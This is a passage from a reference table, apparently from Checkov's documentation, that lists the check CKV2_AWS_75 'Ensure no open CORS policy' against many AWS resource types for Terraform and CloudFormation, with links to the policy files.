[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3072 | CKV2_AWS_75 | resource | aws_cognito_resource_server | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3073 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3074 | CKV2_AWS_75 | resource | aws_cognito_risk_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3075 | CKV2_AWS_75 | resource | aws_cognito_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3076 | CKV2_AWS_75 | resource | aws_cognito_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3077 | CKV2_AWS_75 | resource | aws_cognito_user_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3078 | CKV2_AWS_75 | resource | aws_cognito_user_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3079 | CKV2_AWS_75 | resource | aws_cognito_user_in_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3080 | CKV2_AWS_75 | resource | aws_cognito_user_in_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3081 | CKV2_AWS_75 | resource | aws_cognito_user_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3082 | CKV2_AWS_75 | resource | aws_cognito_user_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3083 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3084 | CKV2_AWS_75 | resource | aws_cognito_user_pool_client | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3085 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3086 | CKV2_AWS_75 | resource | aws_cognito_user_pool_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3087 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3088 | CKV2_AWS_75 | resource | aws_cognito_user_pool_ui_customization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3089 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3090 | CKV2_AWS_75 | resource | aws_comprehend_document_classifier | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3091 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3092 | CKV2_AWS_75 | resource | aws_comprehend_entity_recognizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3093 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3094 | CKV2_AWS_75 | resource | aws_computeoptimizer_enrollment_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3095 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3096 | CKV2_AWS_75 | resource | aws_computeoptimizer_recommendation_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3097 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3098 | CKV2_AWS_75 | resource | aws_config_aggregate_authorization | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3099 | CKV2_AWS_75 | resource | aws_config_config_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3100 | CKV2_AWS_75 | resource | aws_config_config_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3101 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3102 | CKV2_AWS_75 | resource | aws_config_configuration_aggregator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3103 | CKV2_AWS_75 | resource | aws_config_configuration_recorder | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3104 | CKV2_AWS_75 | resource | aws_config_configuration_recorder | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3105 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3106 | CKV2_AWS_75 | resource | aws_config_configuration_recorder_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3107 | CKV2_AWS_75 | resource | aws_config_conformance_pack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3108 | CKV2_AWS_75 | resource | aws_config_conformance_pack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3109 | CKV2_AWS_75 | resource | aws_config_delivery_channel | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3110 | CKV2_AWS_75 | resource | aws_config_delivery_channel | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3111 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3112 | CKV2_AWS_75 | resource | aws_config_organization_conformance_pack | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3113 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3114 | CKV2_AWS_75 | resource | aws_config_organization_custom_policy_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3115 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3116 | CKV2_AWS_75 | resource | aws_config_organization_custom_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3117 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3118 | CKV2_AWS_75 | resource | aws_config_organization_managed_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3119 | CKV2_AWS_75 | resource | aws_config_remediation_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3120 | CKV2_AWS_75 | resource | aws_config_remediation_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3121 | CKV2_AWS_75 | resource | aws_config_retention_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3122 | CKV2_AWS_75 | resource | aws_config_retention_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3123 | CKV2_AWS_75 | resource | aws_connect_bot_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3124 | CKV2_AWS_75 | resource | aws_connect_bot_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3125 | CKV2_AWS_75 | resource | aws_connect_contact_flow | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3126 | CKV2_AWS_75 | resource | aws_connect_contact_flow | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3127 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3128 | CKV2_AWS_75 | resource | aws_connect_contact_flow_module | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3129 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3130 | CKV2_AWS_75 | resource | aws_connect_hours_of_operation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3131 | CKV2_AWS_75 | resource | aws_connect_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3132 | CKV2_AWS_75 | resource | aws_connect_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3133 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3134 | CKV2_AWS_75 | resource | aws_connect_instance_storage_config | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3135 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3136 | CKV2_AWS_75 | resource | aws_connect_lambda_function_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3137 | CKV2_AWS_75 | resource | aws_connect_phone_number | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3138 | CKV2_AWS_75 | resource | aws_connect_phone_number | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3139 | CKV2_AWS_75 | resource | aws_connect_queue | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3140 | CKV2_AWS_75 | resource | aws_connect_queue | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3141 | CKV2_AWS_75 | resource | aws_connect_quick_connect | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3142 | CKV2_AWS_75 | resource | aws_connect_quick_connect | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3143 | CKV2_AWS_75 | resource | aws_connect_routing_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3144 | CKV2_AWS_75 | resource | aws_connect_routing_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3145 | CKV2_AWS_75 | resource | aws_connect_security_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3146 | CKV2_AWS_75 | resource | aws_connect_security_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3147 | CKV2_AWS_75 | resource | aws_connect_user | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3148 | CKV2_AWS_75 | resource | aws_connect_user | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3149 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3150 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3151 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3152 | CKV2_AWS_75 | resource | aws_connect_user_hierarchy_structure | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3153 | CKV2_AWS_75 | resource | aws_connect_vocabulary | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3154 | CKV2_AWS_75 | resource | aws_connect_vocabulary | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3155 | CKV2_AWS_75 | resource | aws_controltower_control | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3156 | CKV2_AWS_75 | resource | aws_controltower_control | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3157 | CKV2_AWS_75 | resource | aws_controltower_landing_zone | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3158 | CKV2_AWS_75 | resource | aws_controltower_landing_zone | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3159 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3160 | CKV2_AWS_75 | resource | aws_costoptimizationhub_enrollment_status | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3161 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3162 | CKV2_AWS_75 | resource | aws_costoptimizationhub_preferences | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3163 | CKV2_AWS_75 | resource | aws_cur_report_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3164 | CKV2_AWS_75 | resource | aws_cur_report_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3165 | CKV2_AWS_75 | resource | aws_customer_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3166 | CKV2_AWS_75 | resource | aws_customer_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3167 | CKV2_AWS_75 | resource | aws_customerprofiles_domain | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3168 | CKV2_AWS_75 | resource | aws_customerprofiles_domain | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3169 | CKV2_AWS_75 | resource | aws_customerprofiles_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3170 | CKV2_AWS_75 | resource | aws_customerprofiles_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3171 | CKV2_AWS_75 | resource | aws_dataexchange_data_set | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3172 | CKV2_AWS_75 | resource | aws_dataexchange_data_set | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3173 | CKV2_AWS_75 | resource | aws_dataexchange_revision | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3174 | CKV2_AWS_75 | resource | aws_dataexchange_revision | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3175 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3176 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3177 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3178 | CKV2_AWS_75 | resource | aws_datapipeline_pipeline_definition | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3179 | CKV2_AWS_75 | resource | aws_datasync_agent | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3180 | CKV2_AWS_75 | resource | aws_datasync_agent | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 3181 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 3182 | CKV2_AWS_75 | resource | aws_datasync_location_azure_blob | Ensure no open CORS policy | Cloudformation | 